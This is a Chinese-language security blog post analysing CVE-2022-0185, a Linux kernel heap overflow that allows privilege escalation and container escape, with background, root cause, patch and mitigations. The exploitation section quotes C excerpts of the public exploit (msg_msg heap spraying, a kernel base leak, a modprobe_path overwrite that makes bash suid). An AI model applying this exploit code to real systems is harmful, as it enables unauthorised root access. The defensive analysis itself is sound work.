Linux内核漏洞——CVE-2022-0185分析与思考

一、简介

CVE-2022-0185是一个Linux内核中”File System Context”中的一个堆溢出漏洞,攻击者可以利用该漏洞发起DDoS攻击,实现容器逃逸和提升至主机权限。该漏洞是在Google KCTF(基于Kubernetes的CTF)漏洞赏金计划中被Crusaders of Rust[1]团队的成员Jamie Hill-Daniel和William Liu发现[2]的,研究员因此获得了31337美元的奖励。截止本文发文之时,NVD官网[3]尚未给出CVSS相关评分,但根据容器逃逸和权限提升的危害和已公开的漏洞利用代码来看,最终评分等级应该为high级别。

据William所言,存在问题的代码于2019年3月在5.1-rc1版本中被引入Linux内核,直至2022年1月18日(5.16.2版本),官方才发布补丁修复该漏洞。然而要想成功利用CVE-2022-0185却并不容易,William在博客中用大量篇幅来讲述漏洞发现的过程和整个利用链的过程,感兴趣的读者可以阅读博客[4]。本文的目的之一是希望读者能够理解该漏洞的原理,作为云安全从业者,能够做好针对性的检测和防御工作。下面笔者将给出理解该漏洞所需的背景知识,然后对该漏洞进行分析,并给出相关缓解和修复方案,最后思考该漏洞的防御工作。

免责声明:本文中提到的漏洞利用代码和分析皆已在github仓库[5]和研究员博客中公开,仅供研究交流使用,请遵守《网络安全法》等相关法律法规,切勿将其用于未授权渗透测试。

二、背景知识

1、Filesystem Context

Filesystem Context是在创建Superblock的挂载和重新配置时使用的[6]。Superblock记录了一个文件系统的特征,包括它的大小、区块大小、空的和已填充的区块及其各自的计数、inode表的大小和位置、磁盘区块图和使用信息,以及区块组的大小。

2、Capabilities——CAP_SYS_ADMIN

Capabilities机制是在Linux内核2.2版本之后引入的,它的出现是为了对root权限进行更细粒度的控制,实现按需授权。常见的capability所允许的操作或行为如下表所示[7]:

capability 名称 描述
CAP_CHOWN 改变文件的所属者(chown())
CAP_KILL 向进程发送信号(kill(), signal())
CAP_SETUID 改变进程的uid(setuid(), setreuid(), setresuid()等)
CAP_SYS_PTRACE trace进程(ptrace())
CAP_SYS_ADMIN 提供系统管理员级别的操作

本文需要关注的是CAP_SYS_ADMIN,它提供众多命令的权限,如mount(2),umount(2),clone(2) 和 unshare(2)等。

3、Seccomp——Docker与Kubernetes的区别

Seccomp 全称Secure computing mode,意为安全计算模式,自 2.6.12 版本以来一直是 Linux 内核的功能。它可以用来对进程的特权进行沙盒处理,从而限制了它可以从用户空间向内核进行的调用。只有当Docker在构建时使用了Seccomp,并且内核在配置时启用了CONFIG_SECCOMP,这个功能才可用。可以用以下命令来检查当前环境是否支持Seccomp:

grep CONFIG_SECCOMP= /boot/config-$(uname -r)

当使用Docker运行一个容器时,它会使用默认的配置文件[8],除非使用–security-opt参数来指定自定义配置文件。该配置文件是一个允许列表,它默认拒绝访问系统调用,只有列表中的系统调用可以执行,一些重要的系统调用如clone,ptrace,unshare等都默认禁止在Docker中执行,如图1所示:

图1 Docker容器中默认禁用unshare

被禁用的原因在官方文档[9]有所说明,感兴趣的可以阅读了解。

但在早先版本(1.22版本之前)的Kubernetes集群中使用Docker时,Seccomp机制却是默认禁用的。在Kubernetes集群中创建一个普通的Pod资源,检查Seccomp机制的状态和Pod内部系统调用的执行情况,如图2所示:

图2 Kubernetes集群中Pod内部默认不禁用unshare

可以看到Seccomp的状态值为0,代表禁用状态。

自1.22版本开始,Kubernetes引入了SeccompDefault特性,用来增强集群环境内的安全性。当该特性启用时,kubelet将默认使用由容器运行时定义的RuntimeDefault Seccomp配置文件,限制集群环境内的系统调用。

三、漏洞分析

1、漏洞成因

该漏洞发生Filesystem Context处理legacy参数时,由fs/fs_context.c的legacy_parse_param函数中存在的整数下溢引起,问题源码如下:

if (len > PAGE_SIZE - 2 - size)       

      return invalf(fc, "VFS: Legacy: Cumulative options too large");

if (strchr(param->key, ',') ||   

(param->type == fs_value_is_string &&    

memchr(param->string, ',', param->size)))       

return invalf(fc, "VFS: Legacy: Option '%s' contained comma",                      

param->key);

if (!ctx->legacy_data) {       

ctx->legacy_data = kmalloc(PAGE_SIZE, GFP_KERNEL);       

if (!ctx->legacy_data)                

return -ENOMEM;}

在第551行(代码中加粗部分)存在一个边界检查,如果(len>PAGE_SIZE – 2 – size),将返回一个错误;但当size大小为4095或更大时,因为PAGE_SIZE是4Kb ,无符号减法PAGE_SIZE – 2 – size的计算结果将是一个巨大的正值,该正值大于len,所以检查将不会触发,然后就会有一个越界写入(在第566行):

ctx->legacy_data[size++] = ',';

len = strlen(param->key);

memcpy(ctx->legacy_data + size, param->key, len);

size += len;

if (param->type == fs_value_is_string) {      

ctx->legacy_data[size++] = '=';

}

因此通过向有漏洞的函数发送超过4095字节的数据,可以绕过输入长度检查,导致越界写入。这使得攻击者可以写到内存的其他部分,导致系统崩溃或运行任意代码从而实现容器逃逸或权限提升。

2、漏洞利用条件

该漏洞在宿主机上用于提升权限时,暂未发现利用的前提条件,只需以非root用户执行代码即可。

若用于容器逃逸,因为容器环境的安全隔离机制,需要判断容器内的环境是否满足一定条件。公开的利用链中包括特权系统调用,如fsopen(),因此需要攻击者拥有CAP_SYS_ADMIN capability(在任何命名空间),但该capability往往在容器以特权启动时被授予,或者添加–cap-add=SYS_ADMIN参数授予,并不会广泛出现。然而,该capability可以通过unshare系统调用获得。unshare系统调用会将进程分配至新的namespace,如在容器内部使用unshare -U命令可以使用户进入一个新的user namespace,由于Linux capability继承的机制,新的namespace拥有全部的capabilities,也包括CAP_SYS_ADMIN。通过上文的背景知识可以了解到比较矛盾的是,在Docker容器中,因为Seccomp机制的限制,unshare系统调用会被禁止,所以此种方法在普通业务容器中并不适用。但当处于低版本(1.22版本之前)的Kubernetes集群环境中,在默认配置情况下,非特权用户可以在Pod内部顺利执行unshare系统调用。因此,CVE-2022-0185用来容器逃逸的场景主要限于低版本Kubernetes集群环境。

四、漏洞利用

漏洞发现团队在GitHub仓库公开了漏洞利用代码,其中fuse版本是针对5.11.0-44内核版本的本地权限提升代码。它不会直接返回一个root shell,而是使/bin/bash添加suid权限,该脚本利用思路大致如下:

  1. 使用堆溢出来调整msg_msg的size,调用msgrcv()读内存,触发越界读取(注:调用msgrcv()读取内核数据时,带上MSG_COPY标志避免unlink时崩溃),接着使用open(“/proc/self/stat”, O_RDONLY)的技巧喷射许多seq_operations结构,尝试读取该结构泄露的指针,由此获得内核基址,并计算出modprobe_path地址:

uint64_t do_leak ()

{   

  ......   

// 喷射msg_msg对象   

  for (int i = 0; i < 8; i++)     

{       

    memset(buffer, 0x41+i, sizeof(buffer));       

    targets[i] = make_queue(IPC_PRIVATE, 0666 | IPC_CREAT);       

    send_msg(targets[i], message, size - 0x30, 0);   

}    

 

memset(pat, 0x42, sizeof(pat));   

pat[sizeof(pat)-1] = '\x00';       

......   

strcpy(pat, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA");   

for (int i = 0; i < 117; i++)     

{       

    fsconfig(fd, FSCONFIG_SET_STRING, "\x00", pat, 0);   

}        

 

// 尝试用msg_msg对象引起越界读取   

puts("[*] Overflowing...");   

   pat[21] = '\x00';   

   char evil[] = "\x60\x10";   

   fsconfig(fd, FSCONFIG_SET_STRING, "\x00", pat, 0);    

 

   // 喷射更多msg_msg    

   for (int i = 8; i < 0x10; i++)     

   {       

      memset(buffer, 0x41+i, sizeof(buffer));       

      targets[i] = make_queue(IPC_PRIVATE, 0666 | IPC_CREAT);       

      send_msg(targets[i], message, size - 0x30, 0);   

   }    

 

   fsconfig(fd, FSCONFIG_SET_STRING, "\x00", evil, 0);    

 

   puts("[*] Done heap overflow");   

   puts("[*] Spraying kmalloc-32");   

   for (int i = 0; i < 100; i++)     

   {       

      open("/proc/self/stat", O_RDONLY);   

   }    

 

   size = 0x1060;   

   puts("[*] Attempting to recieve corrupted size and leak data");    

 

   // 检查是否可以得到泄露的内核基址   

   for (int j = 0; j < 0x10; j++)     

   {       

     get_msg(targets[j], recieved, size, 0, IPC_NOWAIT | MSG_COPY | MSG_NOERROR);        kbase = do_check_leak(recieved);       

   if (kbase)         

   {           

     close(fd);           

     return kbase;       

     }   

   }    

     puts("[X] No leaks, trying again");   

     return 0;

}

  1. 然后利用作者提出的利用msg_msg对象进行任意地址读和写技术[11][12],该技术需要用到userfaultfd技术,但从内核11版本开始,非特权的userfaultfd默认是禁用的,所以作者在此引入了FUSE技术来替代,用任意地址写来实现用自定义的脚本覆盖modprobe_path:

void do_win()

{   

  ......   

  puts("[*] Prepaing fault handlers via FUSE");   

  int evil_fd = open("evil/evil", O_RDWR);   

  if (evil_fd < 0)   

  {       

    perror("evil fd failed");       

    exit(-1);   

  }   

  if ((mmap((void *)0x1338000, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED | MAP_FIXED, evil_fd, 0)) != (void *)0x1338000)   

  {      

    perror("mmap fail fuse 1");    

    exit(-1);   

  }   

 

  pthread_t thread;   

  int race = pthread_create(&thread, NULL, arb_write, NULL);   

  if(race != 0)   

  {       

    perror("can't setup threads for race");   

  }   

  send_msg(target, rooter, size - 0x30, 0);   

 pthread_join(thread, NULL);  

  munmap((void *)0x1337000, 0x1000);  

  munmap((void *)0x1338000, 0x1000);   

  close(evil_fd);   

  close(fd);}

  1. 最后使用execve触发modprobe,利用modprobe_path覆写技术,成功赋予/bin/bash suid权限:

void modprobe_hax()

{   

  puts("[*] Attempting to trigger modprobe");   

 execve(modprobe_trigger, NULL, NULL);   

  return;

}

脚本成功利用后可使用bash -p获得root权限。

要想使利用代码适用不同的内核版本,还需调整代码中single_start和modprobe_path的偏移量。

kctf版本代码可实现在GKE环境中完成容器逃逸,但是并不是100%可以成功,利用代码主要依赖FUSE和SYSVIPC弹性对象来实现任意写入。该版本代码若要适用不同的集群环境,需要修改的内容较多,本文暂不赘述。

除了”Crusaders of Rust “团队的利用代码,还有另一位研究人员发表了漏洞利用代码和技术分析文章[12],同样详细讲述了漏洞的利用过程,感兴趣的读者可以阅读。

五、补丁分析

查看官方针对此漏洞的补丁[13],修复后的代码如下:

fs/fs_context.c

@@ -548,7 +548,7 @@ static int legacy_parse_param(struct fs_context *fc, struct fs_parameter *param)                               param->key);       

    }        

   if (size + len + 2 > PAGE_SIZE)                

           return invalf(fc, "VFS: Legacy: Cumulative options too large");      

   if (strchr(param->key, ',') ||          

      (param->type == fs_value_is_string &&

修复方案较为简单,仅将之前的减法运算变更为加法,即条件判断改为size + len + 2 > PAGE_SIZE,就可以解决这个问题。

六、漏洞修复与缓解

用户可以升级Linux kernel到5.16.2版本来修复该漏洞。但是该修复版本并不适用于所有Linux发行版,包括那些使用Linux kernel开发的系统。对于这些暂时没有可用补丁的系统,建议用户禁用非特权用户命名空间。

在Ubuntu系统中,可以使用以下命令来禁用非特权用户命名空间:

sysctl -w kernel.unprivileged_userns_clone=0

Red Hat 用户可以使用以下命令来禁用用户命名空间:

echo "user.max_user_namespaces=0" > /etc/sysctl.d/userns.conf

sysctl -p /etc/sysctl.d/userns.conf

对于在Amazon EKS,Azure AKS和Google GKE环境的用户,可以通过更新节点镜像的方式修复漏洞[14]。

七、防范措施

了解漏洞的原理和利用条件之后,便可以从利用链的不同环节去防范此漏洞的利用。除了升级内核或更新补丁外,还可以用以下方法进行防范:

  1. 在容器环境中启用Seccomp机制,确保unshare系统调用的禁用。
  2. 对于低版本的Kubernetes环境,可以禁用非特权用户命名空间,具体参考上文中漏洞修复中步骤。
  3. 对于22版以上的Kubernetes,可以在资源创建时使用SecurityContext添加默认的Seccomp或AppArmor配置文件,以保护任何Pod、Deployment、StatefulSet、Replicaset或Daemonset。使用运行时默认Seccomp配置限制Pod使用unshare系统调用,具体配置方法如下:

apiVersion: v1

kind: Pod

metadata:

 name: default-Pod

 labels:

  app: default-Pod

spec:

 securityContext:

  SeccompProfile:

   type: RuntimeDefault     #将Pod的Seccomp类型设置为RuntimeDefault

 containers:

 - name: test

  image: ubuntu

imagePullPolicy: IfNotPresent"

command: [ "/bin/bash", "-c", "--" ]

args: [ "while true; do sleep 30; done;" ]

 securityContext:

  allowPrivilegeEscalation: false

  1. 谨慎部署privileged特权容器,谨慎给Pod添加CAP_SYS_ADMIN内核能力。CAP_SYS_ADMIN虽只是众多capabilities中的一种,但其代表的权限略高,据《CAP_SYS_ADMIN: the new root》[15]中介绍,许多开发者会在授权capability时不知道如何细分,最终选择CAP_SYS_ADMIN来满足环境。

八、总结与思考

Linux作为一款免费开源的操作系统,被越来越多的用户和企业使用。正因用户数量大,使用范围广,一旦其内核曝出相关漏洞,往往后果严重。观察近几年曝出的内核相关漏洞,大多数是问题代码存在已久,在和不同的技术融合时,才作为漏洞被研究者挖掘出来。CVE-2022-0185虽已公开利用代码,但因为其利用代码适用性的问题,预测用于“本地权限提升”的可能性要大于容器逃逸。即便如此,由于容器共享宿主机内核的缘故,集群环境中大多数宿主机为Linux系统,云原生环境安全问题仍不容小觑。

希望读者以此文章对该漏洞有更好的了解与认识,建立针对该漏洞的方法和检测机制,共同建设云环境安全。

参考文献

[1] https://cor.team/

[2] https://www.openwall.com/lists/oss-security/2022/01/18/7

[3] https://nvd.nist.gov/vuln/detail/CVE-2022-0185

[4] https://www.willsroot.io/2022/01/cve-2022-0185.html

[5] https://github.com/Crusaders-of-Rust/CVE-2022-0185

[6] https://www.kernel.org/doc/html/latest/filesystems/mount_api.html#the-filesystem-context

[7] https://man7.org/linux/man-pages/man7/capabilities.7.html

[8] https://github.com/moby/moby/blob/master/profiles/seccomp/default.json

[9] https://docs.docker.com/engine/security/seccomp/#significant-syscalls-blocked-by-the-default-profile

[10] https://www.openwall.com/lists/oss-security/2022/01/25/14

[11] https://www.willsroot.io/2021/08/corctf-2021-fire-of-salvation-writeup.html

[12] https://syst3mfailure.io/wall-of-perdition

[13] https://github.com/torvalds/linux/commit/722d94847de29310e8aa03fcbdb41fc92c521756

[14] https://jfrog.com/blog/the-impact-of-cve-2022-0185-linux-kernel-vulnerability-on-popular-kubernetes-engines/

[15] https://lwn.net/Articles/486306/

版权声明

本站“技术博客”所有内容的版权持有者为绿盟科技集团股份有限公司(“绿盟科技”)。作为分享技术资讯的平台,绿盟科技期待与广大用户互动交流,并欢迎在标明出处(绿盟科技-技术博客)及网址的情形下,全文转发。
上述情形之外的任何使用形式,均需提前向绿盟科技(010-68438880-5462)申请版权授权。如擅自使用,绿盟科技保留追责权利。同时,如因擅自使用博客内容引发法律纠纷,由使用者自行承担全部法律责任,与绿盟科技无关。

Spread the word. Share this post!

Meet The Author